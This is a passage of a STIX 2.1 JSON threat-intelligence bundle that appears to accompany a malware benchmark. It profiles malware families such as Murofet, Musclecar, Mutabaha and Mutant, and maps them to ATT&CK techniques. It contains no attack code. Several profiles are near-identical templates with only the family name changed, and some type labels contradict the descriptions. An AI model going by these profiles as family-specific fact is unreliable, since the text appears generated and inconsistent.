      "description": "Trojan:Win32/Murlo is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Murlo</b><br>To an end-user, a Murlo infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Murlo is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Murlo is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Murlo frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Murlo reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Murlo",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/murlo"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e0da724f-6d20-5f73-9bbc-849868f5f74a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4ff25139-1699-50b1-b37e-7c9d23b6363f",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Murlo exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bfd3f6e7-3292-512e-9741-33bb1092469a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4ff25139-1699-50b1-b37e-7c9d23b6363f",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Murlo exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ee1b9ace-bfb0-5f13-b21d-5ebc190702f3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4ff25139-1699-50b1-b37e-7c9d23b6363f",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Murlo exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3becad99-c3e0-5e64-8f36-38eaaa3b0354",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4ff25139-1699-50b1-b37e-7c9d23b6363f",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Murlo exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d850b680-2e85-524c-8e02-4452cefff38d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4ff25139-1699-50b1-b37e-7c9d23b6363f",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Murlo exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b62eac3c-a067-5425-b7a0-ae0fd8257771",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Murofet",
      "description": "Murofet (cataloged across security vendors and threat intelligence databases under detections including Trojan:Win32/Murofet, TrojanDownloader:Win32/Murofet, and W32.Murofet) is a sophisticated trojan downloader and botnet infrastructure component that emerged in 2010. Developed to provide resilient initial access and payload distribution for organized cybercrime syndicates, Murofet was one of the earliest malware families to implement advanced Domain Generation Algorithms (DGA) seeded by daily date calculations and hardcoded mathematical constants, generating hundreds of pseudorandom domains across various TLDs (.com, .net, .biz, .info) to evade DNS blocklists and sinkholing efforts. Murofet injects malicious code into legitimate Windows processes such as explorer.exe and svchost.exe, queries Twitter and external blogging accounts for fallback backup C2 endpoints, and downloads high-impact secondary payloads\u2014including ZeuS banking trojans and rootkits\u2014while terminating antivirus monitoring routines. (Observed samples in benchmark: 53)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Murofet",
        "TrojanDownloader:Win32/Murofet",
        "W32.Murofet",
        "Trojan-Downloader.Win32.Murofet",
        "Win32/Murofet"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Murofet",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/murofet"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d51316ac-fae2-5e93-b922-118df2d847c7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b62eac3c-a067-5425-b7a0-ae0fd8257771",
      "target_ref": "attack-pattern--257d9e52-8dd5-53ad-99f1-1a8b77822be3",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Murofet exhibits technique T1568.002 (Dynamic Resolution: Domain Generation Algorithms)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fd3adb23-27df-51ac-ae21-51d41dc1afbe",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b62eac3c-a067-5425-b7a0-ae0fd8257771",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Murofet exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ce28fffb-3036-5bd9-b5d5-7f7fe79ec6a9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b62eac3c-a067-5425-b7a0-ae0fd8257771",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Murofet exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2ec8324c-18f4-50fe-944e-3900b8b20b70",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b62eac3c-a067-5425-b7a0-ae0fd8257771",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Murofet exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6c4d3eef-6c31-51f7-88dd-a161417e98af",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b62eac3c-a067-5425-b7a0-ae0fd8257771",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Murofet exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ec9e1aaf-e38c-5747-9e9b-68e4eed1bd4f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Musclecar",
      "description": "<h3>Executive Summary</h3>\nMusclecar is a malicious Trojan and Backdoor designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nMusclecar is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Musclecar operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Musclecar ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Musclecar receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Musclecar infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Musclecar executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Musclecar frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Musclecar",
        "Backdoor.Musclecar",
        "Win32/Musclecar"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Musclecar",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/musclecar"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a49d4ce7-82c1-5c4e-b8d4-f87922cfe28a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ec9e1aaf-e38c-5747-9e9b-68e4eed1bd4f",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Musclecar exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f43fa475-35ed-5ab7-b48f-d076111e13fb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ec9e1aaf-e38c-5747-9e9b-68e4eed1bd4f",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Musclecar exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--087f15d2-64e4-56cb-ab4f-a13e5d90874f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ec9e1aaf-e38c-5747-9e9b-68e4eed1bd4f",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Musclecar exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--051b4461-bd5c-51c0-a56b-efb80afbc853",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Mutabaha",
      "description": "<h3>Executive Summary</h3>\nMutabaha is an aggressive Potentially Unwanted Program (PUP) and Adware application that masquerades as a legitimate system utility, optimization tool, or browser enhancement. Its true purpose is to forcefully inject advertisements, hijack browser settings, and heavily monetize the infected endpoint through affiliate traffic generation and data harvesting.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nMutabaha relies almost entirely on deceptive software bundling. Users typically encounter it when downloading \"free\" software from unofficial, localized web portals or third-party aggregators. The adware is installed silently in the background during the primary software's setup process, often utilizing deceptive \"Advanced\" or \"Custom\" installation screens designed to trick users into accepting the bundle.\n\nOnce installed, the software employs highly aggressive tactics:\n<ul>\n<li><strong>Aggressive Browser Hijacking:</strong> The software installs persistent extensions across Chrome, Firefox, and Edge. It forcefully modifies the default homepage, search engine, and new tab page to route traffic through affiliate-monetized search engines.</li>\n<li><strong>System Watchdogs and Rootkit Tactics:</strong> Mutabaha frequently installs background \"watchdog\" services that actively monitor the registry and browser settings. If a user attempts to remove the extension or change their homepage back to Google, the watchdog service instantly reinstalls the adware.</li>\n<li><strong>Ad Injection and Overlay:</strong> It injects its own JavaScript into legitimate websites, overlaying pages with intrusive pop-up ads, sliding banners, and embedded video advertisements, significantly degrading system performance and user experience.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile Mutabaha is generally not classified as destructive malware, it poses a severe threat to system stability, user productivity, and privacy. The aggressive persistence mechanisms cause significant IT overhead, and the constant ad injection consumes massive CPU and RAM resources. The tracking telemetry also violates corporate privacy policies.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Safe Mode and Process Termination:</strong> Due to the aggressive watchdog services, it is often necessary to boot the infected machine into Windows \"Safe Mode\" to prevent the adware's defense mechanisms from launching before attempting uninstallation.</li>\n<li><strong>Targeted Anti-Malware Scan:</strong> Standard antivirus often ignores PUPs. Utilize a reputable enterprise anti-malware solution (specifically tuned for Adware removal) to scan for and remove the deeply embedded registry keys and scheduled tasks.</li>\n<li><strong>Browser Factory Reset:</strong> Following the removal of the underlying files, a full factory reset of all installed web browsers is absolutely required to purge the malicious extensions and hijacked settings.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.Mutabaha",
        "PUP.Mutabaha",
        "Win32/Adware.Hijacker"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Mutabaha",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/mutabaha"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--de103b8d-f908-58e1-91d8-d0eaa082e564",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--051b4461-bd5c-51c0-a56b-efb80afbc853",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mutabaha exhibits technique T1185 (Browser Session Hijacking (Ad injection and tracking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7c5d119e-5e57-517c-b763-8f7a3c62ed71",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--051b4461-bd5c-51c0-a56b-efb80afbc853",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mutabaha exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--976c9bf4-5498-5850-9bb6-dd38d3a8b78d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--051b4461-bd5c-51c0-a56b-efb80afbc853",
      "target_ref": "attack-pattern--c3628f86-de8f-507d-a3a8-73c0a63c90c4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mutabaha exhibits technique T1546.015 (Event Triggered Execution: Component Object Model Hijacking)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--97a9ec49-2193-59ce-a780-796980692b57",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Mutant",
      "description": "Trojan:Win32/Mutant is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor. The name 'Mutant' often refers to the malware's polymorphic capabilities, meaning it constantly changes its file signature to evade static antivirus detection.<br><br><b>Understanding Mutant</b><br>To an end-user, a Mutant infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Mutant is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Mutant is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing, obfuscation, and polymorphism (`T1027`) to evade static antivirus signatures\u2014every new victim receives a file with a unique hash. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys (`T1547.001`). Mutant frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) (`T1055`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Mutant reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Mutant",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/mutant"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e1ae8456-7481-5723-a6e8-012b53b140da",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--97a9ec49-2193-59ce-a780-796980692b57",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mutant exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3506dbbe-8fbb-5fef-ab4c-dab0ac5fcc0d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--97a9ec49-2193-59ce-a780-796980692b57",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mutant exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fdd7d337-da18-55e1-9f6d-17b253b5a891",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--97a9ec49-2193-59ce-a780-796980692b57",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mutant exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--31f403d2-9257-5014-8441-430c4390c365",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--97a9ec49-2193-59ce-a780-796980692b57",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mutant exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b3812f33-bdc7-54ad-b13a-93a27e317e6d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--97a9ec49-2193-59ce-a780-796980692b57",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mutant exhibits technique T1027 (Obfuscated Files or Information (Polymorphism))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1e367fdb-db04-500f-a09d-79212c7b5605",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Mutuodo",
      "description": "Trojan:Win32/Mutuodo is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Mutuodo</b><br>To an end-user, a Mutuodo infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Mutuodo is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Mutuodo is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Mutuodo frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Mutuodo reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Mutuodo",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/mutuodo"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0ee824e5-e8c3-529d-a65d-3f4e41fa0491",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1e367fdb-db04-500f-a09d-79212c7b5605",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mutuodo exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ac46f915-5952-520b-a6f0-2d62bc68dd5e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1e367fdb-db04-500f-a09d-79212c7b5605",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mutuodo exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--06bb6f39-d756-5330-869b-bc63ac5f564b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1e367fdb-db04-500f-a09d-79212c7b5605",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mutuodo exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7dcd1bbb-4d11-5fbe-ac67-f9340181aef3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1e367fdb-db04-500f-a09d-79212c7b5605",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mutuodo exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--eceaa21f-fee3-52ed-9ffa-b05d09b506a2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1e367fdb-db04-500f-a09d-79212c7b5605",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mutuodo exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d807100f-3391-5833-9d1c-37f9c9ceac02",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Mwpm",
      "description": "Trojan:Win32/Mwpm is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Mwpm</b><br>To an end-user, a Mwpm infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Mwpm is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Mwpm is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Mwpm frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal 